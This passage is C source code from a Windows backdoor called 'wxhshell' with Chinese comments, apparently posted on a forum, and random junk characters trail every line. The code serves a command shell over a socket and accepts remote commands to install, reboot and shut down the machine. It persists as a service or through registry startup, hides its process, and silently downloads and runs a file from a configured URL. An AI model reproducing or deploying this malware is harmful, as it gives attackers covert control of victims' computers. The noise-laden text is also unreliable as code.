  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4:a ~Wlp[  
  } \7*|u  
  else { !z4I-a  
]a&riPh"  
    switch(cmd[0]) { zx2`0%Q  
  '/6f2[%Y"  
  // 帮助 &I8DK).M+  
  case '?': { `5wiXsNjLY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w6X:39d  
    break; 4^:dmeMZ`  
  } oA~0"}eS  
  // 安装 AA=rjB9  
  case 'i': { r*$f^T!|  
    if(Install()) %k['<BYG<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E#8|h(  
    else S hy.:XI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .$W}  
    break; =P9rOK=  
    } SG\ /m'F  
  // 卸载 G<<; a  
  case 'r': { Q(yg bT  
    if(Uninstall()) wXqwb|2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iV?8'^  
    else YzM/?enK}T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pKj:)6t"  
    break; ip}%Y6Wj  
    } Y%eW6Y#  
  // 显示 wxhshell 所在路径 ':_gYA  
  case 'p': { >#;;g2UV  
    char svExeFile[MAX_PATH];  WTl0}wi  
    strcpy(svExeFile,"\n\r"); cQThpgha  
      strcat(svExeFile,ExeFile); O{\<Izm`D  
        send(wsh,svExeFile,strlen(svExeFile),0); G;u~H<  
    break; MmvOyK NZF  
    } $^ ^M&[b-  
  // 重启 B]<N7NYn1  
  case 'b': { =FIZh}JD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rKslgZhQ  
    if(Boot(REBOOT)) @jMo/kO/A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >yT1oD0+x  
    else { !A% vR\  
    closesocket(wsh); ,P`GIGvkA  
    ExitThread(0); ^b|? ?9&  
    } +MaEet  
    break; GeB&S!F  
    }  ?f'`b<o  
  // 关机 Et-|[ eL  
  case 'd': { NopfL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {c LWum[SY  
    if(Boot(SHUTDOWN)) Viw,YkC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Je9Z:s[  
    else { 2~g-k 3  
    closesocket(wsh); F-ofR]|) >  
    ExitThread(0); iiJT%Zq`#  
    } y $uq`FW  
    break; l$c/!V[3  
    } iWr #H  
  // 获取shell /c-k{5mH%  
  case 's': { 6 ]<yR> '  
    CmdShell(wsh); +`Nu0y!rj  
    closesocket(wsh); C\BKdx5;  
    ExitThread(0); yY49JZ  
    break; G"u4]!$/  
  } US9aW)8  
  // 退出 x$TL j  
  case 'x': { f B]2"(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OiZ-y7;k^  
    CloseIt(wsh); '@#(jY0_  
    break; ~-lUS0duh  
    } )c9Xp:  
  // 离开 uBg#zx  
  case 'q': { W  wj+\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lnjs{`^  
    closesocket(wsh); "10\y{`v^  
    WSACleanup(); V62lN<M  
    exit(1); (]I=';\  
    break; Wrp+B[ {r\  
        } >Sk%78={R  
  } b.[9Adi >  
  } }.9a!/@Aj  
\vV]fX   
  // 提示信息 u 6l)s0Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $[MAm)c:]{  
} KOXG=P0  
  } Bv3B|D&+  
`H*mQERb  
  return; +=|%9%  
} tK*y/S  
lcReRcjm  
// shell模块句柄 ]=xX_  
int CmdShell(SOCKET sock) &vN!>bR  
{ y ,`0f|  
STARTUPINFO si; .T(vGiU  
ZeroMemory(&si,sizeof(si)); -:45Q{u/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^ . A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Da6l =M  
PROCESS_INFORMATION ProcessInfo; |)%H_TXTy  
char cmdline[]="cmd"; 46\!W(O~y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '4~I %Z7L  
  return 0; a"g\f{v0AR  
} zn^ G V  
@t$yg$Q?[  
// 自身启动模式 gPd ,  
int StartFromService(void) if\`M'3Xx  
{ ){,M v:#+T  
typedef struct w}$;2g0=a<  
{ FrLv%tK|  
  DWORD ExitStatus; >z fx2wh\a  
  DWORD PebBaseAddress; A8S9HXL  
  DWORD AffinityMask; 3syA$0TZt  
  DWORD BasePriority; a;~< iB;3"  
  ULONG UniqueProcessId; /#eS3`48  
  ULONG InheritedFromUniqueProcessId; ObreDv^,  
}   PROCESS_BASIC_INFORMATION; \{a5]G(4s  
;tA$ x!5]  
PROCNTQSIP NtQueryInformationProcess; 7u :kR;wk  
]uh/!\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3N2d@R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DOkuT/+  
v6L]3O1  
  HANDLE             hProcess; mO]dP;,  
  PROCESS_BASIC_INFORMATION pbi; ZzR0k  
y[S9b (:+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yqtHlz%  
  if(NULL == hInst ) return 0; H)dZ0n4T  
xkSVD6Km  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YG0b*QBY~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [Ran/D\.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OBF-U]?Y  
7'{Vh{.  
  if (!NtQueryInformationProcess) return 0; w r,+9uK  
y )<+?@sP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SXJjagAoML  
  if(!hProcess) return 0; 7,alZ"%W  
[fvjvN`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; seP h%Sa_  
TA:#K  
  CloseHandle(hProcess); Y;g\ @j  
=kK%,Mr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \GioSg  
if(hProcess==NULL) return 0; U^)`_\/;?  
^4<&"aoo  
HMODULE hMod; `@:TS)6X0  
char procName[255]; TpYh)=;k  
unsigned long cbNeeded; Pl`Nniy  
UL%a^' hR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \&Bdi6xAy  
9GTp};Kg  
  CloseHandle(hProcess); d:_;  
d1 kE)R  
if(strstr(procName,"services")) return 1; // 以服务启动 ;/+U.I%z  
f3>DmH#  
  return 0; // 注册表启动 U. $Th_  
} 1O,8=,K2a  
S>j.i  
// 主模块 "*MF=VB1  
int StartWxhshell(LPSTR lpCmdLine) vO/3bu}  
{ Vu E$-)&)  
  SOCKET wsl; HN5,MD[  
BOOL val=TRUE; qFq$a9w|@  
  int port=0; BD^1V( I/  
  struct sockaddr_in door; 2vsV :LS.  
/?z3*x  
  if(wscfg.ws_autoins) Install(); +~y>22Zfg  
,LmP >Q.  
port=atoi(lpCmdLine); $ye>;Ek  
x_C0=Q|K3  
if(port<=0) port=wscfg.ws_port; MtoOIkQ  
%@TC- xx  
  WSADATA data; =2} kiLKO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vr2PCG[~  
),xD5~_=q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &"J;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N|Xm{@C  
  door.sin_family = AF_INET; H5:f&m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k6o8'6wN  
  door.sin_port = htons(port); ?Drq!?3PDc  
Ve)BF1YG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M,bs`amz  
closesocket(wsl); vEGI  
return 1; 9zIqSjos"  
} |z:4T%ES  
{c*5 )x!  
  if(listen(wsl,2) == INVALID_SOCKET) { 0 ?gHRdU"  
closesocket(wsl); L2~'Z'q  
return 1; T"gk^.  
} nf1 `)tXG  
  Wxhshell(wsl); P$*Ngt  
  WSACleanup(); Sw5-^2x0'  
B_b5&M@  
return 0; [8[<4~{  
]H\tz@ &  
} uaU2D-ft"  
Y| ch ;  
// 以NT服务方式启动 <l5m\A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Cz9MXb]B  
{ Z;RUxe|<k  
DWORD   status = 0; JAXD\StC  
  DWORD   specificError = 0xfffffff; DGS,iRLnA  
AS;qJ)JfzQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |')PQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Aq3\Q>klH)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &Vgpv#&Cfx  
  serviceStatus.dwWin32ExitCode     = 0; K(d+t\ca  
  serviceStatus.dwServiceSpecificExitCode = 0; ~<_WYSzS  
  serviceStatus.dwCheckPoint       = 0; -%^'x&e  
  serviceStatus.dwWaitHint       = 0; }@tgc?C D  
jh`[ Y7RJO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rzLW @k  
  if (hServiceStatusHandle==0) return; zEukEA^9`  
N>]J$[j  
status = GetLastError(); #k`gm)|  
  if (status!=NO_ERROR) #Q*V9kvU/H  
{ qc\D=3 #Yp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]6Awd A  
    serviceStatus.dwCheckPoint       = 0; ZKpJc'h  
    serviceStatus.dwWaitHint       = 0; 9 Qa_3+.B  
    serviceStatus.dwWin32ExitCode     = status; ZrZDyXL  
    serviceStatus.dwServiceSpecificExitCode = specificError; K4YD}[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HiH<'m"\.  
    return; PB8g4-?p6  
  } U/|JAg #  
c/v|e&q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o; U!{G(X  
  serviceStatus.dwCheckPoint       = 0; N3@[95  
  serviceStatus.dwWaitHint       = 0; N#t`ZC&m'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MtN!Xx  
} $60`Hh 4/  
t4/ye>P &  
// 处理NT服务事件,比如:启动、停止 }<l:~-y|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lI.oyR'  
{ oM Z94 , 3  
switch(fdwControl) |\G^:V[.  
{ 1+XM1(|c`  
case SERVICE_CONTROL_STOP: cGdYfi  
  serviceStatus.dwWin32ExitCode = 0; (}.MB3`#C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p3{Ff5FZ  
  serviceStatus.dwCheckPoint   = 0; Ot:}Ncq^\O  
  serviceStatus.dwWaitHint     = 0; B.~] 7H5"(  
  { fmc\Li  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5$N#=i`V  
  } e3~{l~ Rb  
  return; h,]VWG  
case SERVICE_CONTROL_PAUSE:  [)~1Lu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;e/F( J  
  break; Z[ (d7  
case SERVICE_CONTROL_CONTINUE: NVsaV;u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~T-uk  
  break; e6J^J&`|4  
case SERVICE_CONTROL_INTERROGATE: 7Zd g314  
  break; !jSgpIp  
}; ()O&O+R|)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \]5I atli  
} ugE!EEy[^  
ubOXEkZ8N  
// 标准应用程序主函数 m_@XoS yxI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "*F`,I3  
{ l!&ik9m  
ih^FH>@  
// 获取操作系统版本 oZ d3H  
OsIsNt=GetOsVer(); ~ &Ne P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Yv@n$W`:  
WQ% O/  
  // 从命令行安装 bE'{zU}o  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0gaHYqkA>}  
yGAFQ|+  
  // 下载执行文件 q` IY;"~  
if(wscfg.ws_downexe) { $[,4Ib_|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Sp:w _;{#  
  WinExec(wscfg.ws_filenam,SW_HIDE); Rb& 9!z  
} gBcs  
+qC [X~\  
if(!OsIsNt) { ] S[?tn  
// 如果时win9x,隐藏进程并且设置为注册表启动  -D'XxOI  
HideProc(); Bdb}4X rL  
StartWxhshell(lpCmdLine); iRlZWgj4^  
} Dm5 Uy^F}  
else Y7r;}^+WY  
  if(StartFromService()) }l[e@6r F  
  // 以服务方式启动 seBmhe5qR  
  StartServiceCtrlDispatcher(DispatchTable); >Bf3X&uS  
else $/ IFSB9  
  // 普通方式启动 +,LWyvc'  
  StartWxhshell(lpCmdLine); 4_ U"M@  
vszm9Qf  
return 0; t(uvc{K *  
}
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只看该作者 1 发表于: 2006-10-10
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